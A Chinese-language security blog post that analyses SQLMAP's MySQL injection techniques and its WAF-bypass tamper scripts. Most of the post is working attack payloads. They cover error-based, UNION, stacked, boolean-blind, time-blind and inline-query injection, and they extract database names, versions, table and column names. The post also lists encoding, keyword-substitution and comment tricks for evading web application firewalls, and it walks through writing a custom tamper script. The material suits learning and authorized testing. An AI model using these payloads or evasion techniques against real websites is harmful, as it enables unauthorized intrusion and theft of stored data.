SQL注入方法和绕过技巧

背景

说到SQL注入那就不得不提这个领域自动化操作的佼佼者——SQLMAP,因此学习SQL注入很好的一个方法就是,分析SQLMAP的注入流程。
下面通过学习 SQLMAP 中的注入方法和其相应的 Payload,以及 SQLMAP 中的 Tamper 脚本源码,了解 SQL注入的常见方法和绕过技巧。

SQL注入的方法

依据注入过程获取信息的主要技巧不同,SQLMAP 中把注入技术分为以下 6 种,分别为 报错注入(Error-based)、联合查询(Union queries)、堆叠查询(Stack queries)、布尔盲注(Boolean-based blind)、延时盲注(Time-based blind)、内联查询(inline queries)。SQLMAP 中使用 --technique 的选项选择使用不同的注入技术,默认为 ”EUSBTQ“ ,每个字母分别对应上述 6 种技术的一种。

接着我会按 SQLMAP 中每一类技术中的 Payload 和通用 注入向量(模板)进行分析,SQLMAP 的 Payload 可在其源码中查看,Payload 均以 XML 文件格式存储,对于其中 Payload 较少的,在另外从PayloadsAllTheThings-MySQLInjection 学习。所有的 Payload 均为 Mysql 环境下的。

Q:表示使用内联查询(inline queries)进行注入,为什么不用 I?个人认为可能是 I 显示有点像 1,不易读。

报错注入

概念

报错注入(Error-based)的利用条件是:

  1. SQL 操作/函数 报错
  2. 构造会出现执行错误的 SQL 查询语句,将需要获取的信息(如版本、数据库名)放到会在错误信息输出的位置
  3. 网站回显数据库执行的报错信息,得到数据库信息

报错注入常使用的操作/函数:

  • FLOOR(RAND(0)*2) + GROUP BY,报错信息 Duplicated entry
  • ExtractValue(1, ”构造信息“),报错信息 XPATH syntax error: 信息
  • UpdateXML(1, “构造信息”, 1),报错信息XPATH syntax error: 信息

Payloads

Payload 文件:error_based.xml,主要分析以下几个注入 Payload:

数溢出报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 攻击向量
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
# 攻击 Payload
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
########## 分析 ##########
# 想要获取的内容在攻击向量的 [QUERY] 部分,IF 条件是否成立,
# 都会选择一个大整数 8446744073709551610*2,就会导致整数溢出
# 攻击条件: Mysql >= 5.5

# 攻击向量
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
# 攻击 Payload
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))x))
########## 分析 ##########
# 想要获取的内容在攻击向量的 [QUERY] 部分, ~ 符号取反,
# 导致数值很大的数,进行 exp() 操作导致最终的结果溢出
# 攻击条件:Mysql >= 5.5

上面两个攻击方法在我自己使用过程中,得不到相应的信息,错误信息展开 [QUERY] 中的内容,如下:

1
2
3
4
5
6
> mysql> select id from comments where id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(char(126),(select elt(335=335,1)),char(126)))s), 8446744073709551610, 8446744073709551610)));
> ERROR 1690 (22003): BIGINT value is out of range in '(2 * if((select `s`.`CONCAT(char(126),(select elt(335=335,1)),char(126))` from (select concat(char(126),elt((335 = 335),1),char(126)) AS `CONCAT(char(126),(select elt(335=335,1)),char(126))`) `s`),8446744073709551610,8446744073709551610))'
>
> mysql> select exp(~(select * from (select CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))s));
> ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `s`.`CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')` from (select concat('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x') AS `CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')`) `s`)))'
>

GROUP BY 报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 攻击向量
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 攻击 Payload
OR (SELECT NULL FROM(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

########## 分析 ##########
# 想要获取的内容在攻击向量的 [QUERY] 部分进行构造,
# 报错原因在于,使用 GROUP BY 语句以 x 列进行分组,组内使用 COUNT 统计,x 列的值由
# CONCAT('~',database(),'~',FLOOR(RAND(0)*2)) 产生,而 FLOOR(RAND(0)*2)) 的值为 1 或 0,
# GROUP BY 进行分组时,会建立一个虚拟表,虚拟表有两个列,分别为 x 和 count(*),然后查询数据时,
# 首先检查分组 x的值 是否存在,如果不存在,则插入虚拟表,存在 count(*)+1,但是查询分组的值是否存在
# 以及插入分组值时都会重新计算 RAND(0)*2),而 FLOOR(RAND(0)*2)) 产生的序列为 01101...,
# 第一次插入时检查为0,插入为1,第二次检查为1,count(*)+1,第三次检查为0,虚拟表不存在,但实际
# 插入的值为 1,导致 group_key 重复。
# 利用条件:Mysql >= 5.0,使用 count() + floor(rand(0)*2) + group by

# 低版本 Mysq >= 4.1, 不存在 information_schema,自行构造数据
# 攻击向量
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
# 攻击 Payload
OR ROW(1,2)>(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM (SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6)a GROUP BY x)

XPATH 报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 攻击向量
AND EXTRACTVALUE([RANDNUM],CONCAT(1,'[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻击 Payload
AND EXTRACTVALUE(1,CONCAT('~',database(),'~'))
########## 分析 ###########
# ExtractValue(xml_frag, xpath_expr),第一个参数时 XML 文档字符串,第二个参数时 XPATH 路径,
# 当 XPATH 路径错误是,就会报错,错误信息即为: CONCAT('~',database(),'~') 执行后的结果

# 攻击向量
AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
# 攻击 Payload
AND UPDATEXML(1,CONCAT('.','~',version(),'~'),2)
########## 分析 ###########
# UpdateXML(xml_target, xpath_expr, new_xml),第二个参数为 XPATH,
# 当 XPATH 路径错误是,就会报错,错误信息即为: CONCAT('.','~',version(),'~') 执行后的结果
# 利用条件:Mysql >= 5.1

联合查询

概念

联合查询(Union Queries)使用 UNION SELECT语句联合两个查询列数相同的 SELECT语句,

联合查询的利用条件是:

  1. 可以使用 UNION SELECT 语句
  2. UNION SELECT 语句查询的结果能看到

Payloads

通常先使用 ORDER BY 语句查出显示的列数

1
2
3
4
5
ORDER BY 1 #
ORDER BY 2 #
...
ORDER BY N #
# 当没有显示,或者网页报错时,说明前一个数即为列数

SQLMAP中给出的通用攻击向量如下:

1
UNION SELECT 1,2,3,.. [SQL_COMMENT]

Mysql >= 5.0

1
2
3
4
5
6
7
8
# 查数据库名字
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
# 查表名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
# 查列名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
# 查数据
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

不使用 information_schema获取列名

1
2
3
4
5
6
7
8
9
# 使用 JOIN 操作依次报错查询列名
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
# ERROR 1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
# ERROR 1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...

MySQL >= 4.1

低版本的 Mysql 没有 information_schema,通常只能暴力破解表名,之后可以按如下方式获取列名

1
2
3
4
5
6
7
# 查列数,假定表有 4 列
select 1 and(SELECT * from table_name)=(1)
# 报错: Operand should contain 4 column(s),获取列数 4

# 接着获取列名
select 1 and (1,2,3,4) = (SELECT * from table_name UNION SELECT 1,2,3,4 LIMIT 1)
# 报错:column 'id' cannot be null

未知列名的情况

在未知列名的情况,也能获取数据,技巧就是使用列名的别称。

1
2
3
4
5
6
# 获取表 users 的 4 列内容
select `4` from (select 1,2,3,4,5,6 union select * from users)x;
# 直接使用字符
select concat(a,'~',b) from (select 'a','b','c','d','e','f' union select * from users)x;
# 别名
select concat(a,'~',b) from (select 1,2 as 'a',3,4,5 as 'b',6 union select * from users)x;

堆叠查询

概念

堆叠查询(Stack Queries)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ; 将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECTINSERT等操作),联合查询仅支持 SELECT语句,同时两个查询语句的列数要一致。

堆叠查询的利用条件:

  1. 数据库和API接口支持堆叠查询
  2. 最好能看到执行的结果

Payloads

判断注入点

1
2
3
4
5
# 攻击向量
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
# Payload
# 响应发生明显延迟
;SELECT SLEEP(5) -- a

推断数据库信息

1
2
3
4
5
6
7
8
9
10
11
# 攻击向量
# 如果[INFERENCE]正确,则延时执行
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

# 攻击 Payload
# 判断数据库版本
;SELECT IF((mid(version(),1,1)=5),SLEEP(3),1)
# 推断数据库名
;SELECT IF((ASCII(MID(DATABASE(),1,1))>90),SLEEP(3),1)

布尔盲注

概念

布尔盲注(Boolean-based blind)即基于布尔值的方法,通过 SQL语句中真假条件的执行情况推断出数据库的信息,主要是根据网页的显示结果进行判断,这和 error-based 方法使用 SQL语句执行错误的回显信息不同,这里使用的查询语句是能正确执行的。

利用条件:

  1. 能使用 ANDORNOT 操作
  2. 能通过网页响应判断 SQL 语句的执行情况

Payloads

按种注入的流程,通常包括以下几种类型:判断注入点,推断数据库信息。

判断注入点

1
2
3
4
5
# 攻击向量
[AND, OR, OR NOT] [INFERENCE]
# 攻击 Payload
AND 1=1 -- a
AND 1=2 -- a # 比较两个 payload 的结果,如果不同着说明存在注入点

推断数据库信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 攻击向量
[AND, OR, OR NOT] [INFERENCE]
# 攻击 Payload
# 使用字符串截取函数 substring | substri | mid | left | right ...
# 判断版本
and substring(version(),1,1)=5
and right(left(version(),1),1)=5
and left(version(),1)=4
and ascii(lower(substr(Version(),1,1)))=51 # ascii 返回字符串第一个字符的 ascii 值
and (select mid(version(),1,1)=4)
# 数据库名、表名、列名(暴力、二分法)
# 判断名字的长度
AND SELECT LENGTH(DATABASE())>10
# 依次破解每一个字符
AND SELECT SUBSTR(database(),1,1) > 'a'
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
AND SELECT ASIIC(SUBSTR(table_name,1,1)) FROM information_schema.tables > 110
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
# 利用 Mysql MAKE_SET
# MAKE_SET(bits,str1,str2,...),strN 对应 bit(N-1),bit(N-1) 为 1 则返回,
# 如 MAKE_SET(3,'A','B','C'),返回 ‘A','B'
select first_name from users where user_id=3 and make_set(length(database())>4,1);
select first_name from users where user_id=3 and make_set(ascii(mid(database(),2,1))>118,1);

延时盲注

概念

延时盲注(Time-based blind)即基于延时的方法,同样通过 SQL语句中真假条件的执行情况推断出数据库的信息,但是使用延时执行的函数如 Mysql 中 sleep,使得不同条件执行查询的时间不同,自然网页上显示结果的时间存在差异,以此推断数据库的信息。

利用条件:

  1. 能使用延时函数如 Mysql 中的 sleep 函数
  2. 能通过网页响应判断 SQL 语句的执行情况

Payloads

延时的方法

SLEEP

SLEEP(n),延时 n 秒后执行

BENCHMARK

BENCHMARK(loop_count,expr)函数用来测试 SQL 语句或者函数的执行时间,第一个参数表示执行的次数,第二个参数表示要执行的操作。通常使用使用 MD5、SHA1 等函数,执行次数 100000。

GET_LOCK

MySQL 的GET_LOCK(str, timeout)函数尝试获取一个名字为 str 的锁 ,等待 timeout秒未获得,则终止函数,函数返回 0 值,成功则返回 1。利用条件是,开启两个 MySQL 数据库连接,先后在两个连接中使用 GET_LOCK 函数获取相同名字的锁,后面使用 GET_LOCK 函数的连接无法得到锁,等待 timeout秒后执行其它操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 第一个连接
mysql> select 1 and get_lock('fool',1);
+--------------------------+
| 1 and get_lock('fool',1) |
+--------------------------+
| 1 | # 获取成功,返回 1
+--------------------------+
1 row in set (0.00 sec)

# 第二个连接
mysql> select 1 and get_lock('fool', 3);
+---------------------------+
| 1 and get_lock('fool', 3) |
+---------------------------+
| 0 | # 获取失败,返回 0 ,
+---------------------------+
1 row in set (3.00 sec) # 等待了三秒后执行
笛卡尔积 查询

SQL 进行多表查询时,需要按照笛卡尔积乘的方式合成一个虚拟表进行查询,如三个表 (10,2)(100,3)(200,4)进行多表查询,最终合成一个虚拟表(200000,9),这种方式会导致最终的查询很费时。

1
2
3
4
5
6
7
mysql> select count(*) from information_schema.tables a, information_schema.tables b, information_schema.tables c;
+-----------+
| count(*) |
+-----------+
| 317214568 |
+-----------+
1 row in set (3.31 sec)
RLIKE 正则匹配

MySQL 中的 RLIKE 函数对字符串进行正则匹配,当目标字符串很长同时匹配规则复杂且失败的情况会相当的耗时。

RPAD(str,len,padstr) 函数为 str字符串右填充字符 padstr至总长度为 len,可以用于构造长字符串。

REPEAT(str,count)函数构成一个重复 str字符串 count次。

1
2
3
4
5
6
7
8
# 根据实际情况调整,目标和匹配字符串的长度
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (3.53 sec)

判断注入点

1
2
3
4
5
# 攻击向量
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
# 攻击 Payload
AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)
AND 1 # 比较两个请求的响应时间

推断数据库信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 攻击向量
# 1. 如果[INFERENCE]正确,则延时执行,同时响应错误
AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
# 使用 RLIKE 时会匹配表中的每一条数据,所总延时=查询表的行数 * SLEEPTIME,所以根据适当调小 SLEEPTIME,如0.1
RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))

# 2. 如果[INFERENCE]正确,则延时执行,反之则不延时
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))
RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))

# 攻击 Payload
# 判断数据库名字的长度
AND 1=IF(LENGTH(DATABASE())>5, SLEEP(5), 1)
# 数据库名、表名、列名(暴力、二分法)
AND (SELECT 1 FROM (SELECT(SLEEP(2-(IF(ascii(mid(database(),1,1))>90,0,2)))))x)
RLIKE(SELECT 1=IF(ASCII(MID(DATABASE(),2,1))>118,SLEEP(0.5),1))

内联查询

概念

内联查询(Inline Queries)的格式如下:

1
SELECT statemnt FROM (SELECT statement);

FROM后面跟着的部分是一个 SELECT查询子句,这个子句产生的结果会保存在 内联视图(Inline View)中。视图和表的结构一样但没有实际存储的数据,它建立在其他的表或者视图上。

内联查询通常用于和其它方法结合使用,如在报错注入中就很常用到内联查询:

1
2
> id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IMUF'='IMUF
>

Payload

1
2
3
4
# 攻击向量
(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻击 Paylaod,常和其它注入技巧结合使用,如报错
(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))

绕过技巧

SQLMAP 中的绕过技巧

进行注入时,往往会遇到服务端主机装有 WAF(Web Application Firewall)对 Payload 进行过滤的情况,这使得注入攻击无法成功实施。但 WAF 往往是通过规则对攻击的 Payload 进行检测然后过滤,只要我们能绕过 WAF 的检测规则就能完成攻击。那么绕过的方法一般有哪些呢?我们可以透过 SQLMAP 中的绕过技术学习一二。

SQLMAP 中有一个 Tamper 模块专为绕过 WAF 制定特殊的 Payload,–-tamper选项可以使用加载模块的不同绕过方法将Payload后进行注入。

绕过的技巧通常有:

  1. 字符编码转换
  2. 同等功能转换
  3. 使用注释符

字符编码转换

SQLMAP 中 Tamper 模块中的很多脚本都使用字符的不同编码进行绕过,主要有的编码转换方式有:

  • 使用 base64 编码整个Payload
  • Unicode 编码
  • url 编码/双 url 编码
  • utf-8 编码
  • HTML 编码

SQLMAP 中的 Tamper 脚本有:

Tamper 脚本 描述
base64encode base64 编码 Payload
chardoubleencode 双url编码
charencode url编码
charunicodeencode 使用 Unicode 编码
charunicodeescape 使用 Unicode 编码
apostrophemask 使用 UTF-8 编码字符 %EF%BC%87 替换
htmlencode 使用 HTML 编码 Payload
apostrophennullencode 使用 %00%27 替换
overlongutf8 对非字符数字进行 UTF-8 编码,
overlongutf8moremore 对所有Payload 进行 UTF-8 编码

同等功能转换

当 WAF 过滤了特定函数或者关键字时,考虑使用其它方法实现该功能。SQLMAP Tamper 的脚本主要有:

Tamper 脚本 描述
between 使用 BETWEEN 实现 >=的功能
commalesslimit LIMIT N OFFSET M 替换LIMIT M, N ,绕过逗号过滤
commalessmid MID(A FROM B FOR C) 替换 MID(A, B, C),绕过逗号过滤
concat2concatws 使用 concat_ws函数替换 concat函数
equaltolike 使用 LIKE 替换 =
greatest 使用 GREATEST 函数实现 >的功能,1 AND A>B转换为 1 AND GREATEST(A, B+1)=A
least 使用 LEAST 函数实现 >的功能,1 AND A > B 转换为 1 AND LEAST(A,B+1)=B+1
ifnull2ifisnull 使用 IF(ISNULL(A), B, A) 替换 IFNULL(A, B)
ifnull2casewhenisnull 使用 替换 CASE WHEN ISNULL(A) THEN (B) ELSE (A) END替换IFNULL(A, B)
symboliclogical 使用 && 和 `

使用注释符

注释符可以实现空格的替换、绕过函数过滤等。SQLMAP 中的 Tamper 脚本主要有:

Tamper 脚本 描述
commentbeforeparentheses 在括号前添加注释符 /**/,如 ABS() 变为 ABS/**/()
space2comment 使用注释符/**/替换空格,SELECT id FROM users 转换为 SELECT/**/id/**/FROM/**/users
space2dash 使用注释符 –-替换空格
space2hash 使用注释符 #替换空格
space2morecomment SELECT id FROM users 转换为 SELECT/**_**/id/**_**/FROM/**_**/users
randomcomments 随机插入注释符 /**/,如 INSERT 变为 I/**/NS/**/ERT
versionedkeywords 使用 MySQL 特有的注释符 /*!*/,保留关键字,在 MySQL 中/*!内容*/表示内容在 MySQL 中才执行,其它数据库中不会执行。
versionedmorekeywords 使用 MySQL 特有的注释符 /*!*/,保留更多的关键字

自定义 Tamper 脚本

在实际情况中遇到的 WAF 多种多样,我们需要针对性地修改 Payload 以绕过过滤规则。所以很有必要学习如何编写 SQLMAP 的 Tamper 脚本。Tamper 脚本的编写其实还是比较容易的,主要涉及 Python 中的字符串替换的操作。一个 Tamper 脚本就是一个 Python 文件,当 SQLMAP 使用 --tamper “tamper脚本名” 就会调用相应的 Tamper 脚本对 Payload 进行特定的处理。

以 SQLMAP 中一个很简单的 equaltolike.pyTamper 脚本为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))

def tamper(payload, **kwargs):
"""
Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5

Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the equal character ('=')
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases

>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'
"""

retVal = payload

if payload:
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

return retVal

脚本主要有三个部分:

  • __priority__ = PRIORITY.HIGHEST
  • dependencies() 函数
  • tamper(payload, **kwargs) 函数

__priority__ = PRIORITY.HIGHEST用于声明脚本的优先级,在使用多个脚本时,需要通过该值判断脚本执行的先后顺序。通过 from lib.core.enums import PRIORITY 导入 PRIORITY 类,其声明如下,总共有 7 个等级。

1
2
3
4
5
6
7
8
class PRIORITY(object):
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

除了 PRIORITY这个 enum 类,lib.core.enums 中还有很多 SQLMAP 常用的 enum 类,如 DBMS 的名字、HTTP 请求的方法等。

dependencies()函数用于输出脚本的适用范围,调用 SQLMAP 自定义函数 singleTimeWarnMessage 进行输出,适用所有情况可以忽略说明,

1
2
def dependencies():
pass

tamper(payload, **kwargs) 函数使用 re.sub正则替换函数实现 Payload 中 =LIKE 的替换。函数的第一参数为需要修改的 payload 字符串,第二个为SQLMAP 中的参数。

因此,写 Tamper 脚本主要是在 tamper() 函数中实现 Payload 的修改。

参考

  1. sqlmap payload
  2. sqlmap wiki
  3. sqlmap 源码解析&技术总结
  4. PayloadsAllTheThings-MySQLInjection
  5. Sqlmap Advanced Guide
  6. Inline queries
  7. MySQL时间盲注五种延时方法
  8. sqlmap tamper脚本编写
文章作者: BingSlient
文章链接: https://bingslient.github.io/2019/10/02/SQLMAP数据库注入方法和绕过技巧/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 BingSlient's Blog
打赏
  • 微信
  • 支付寶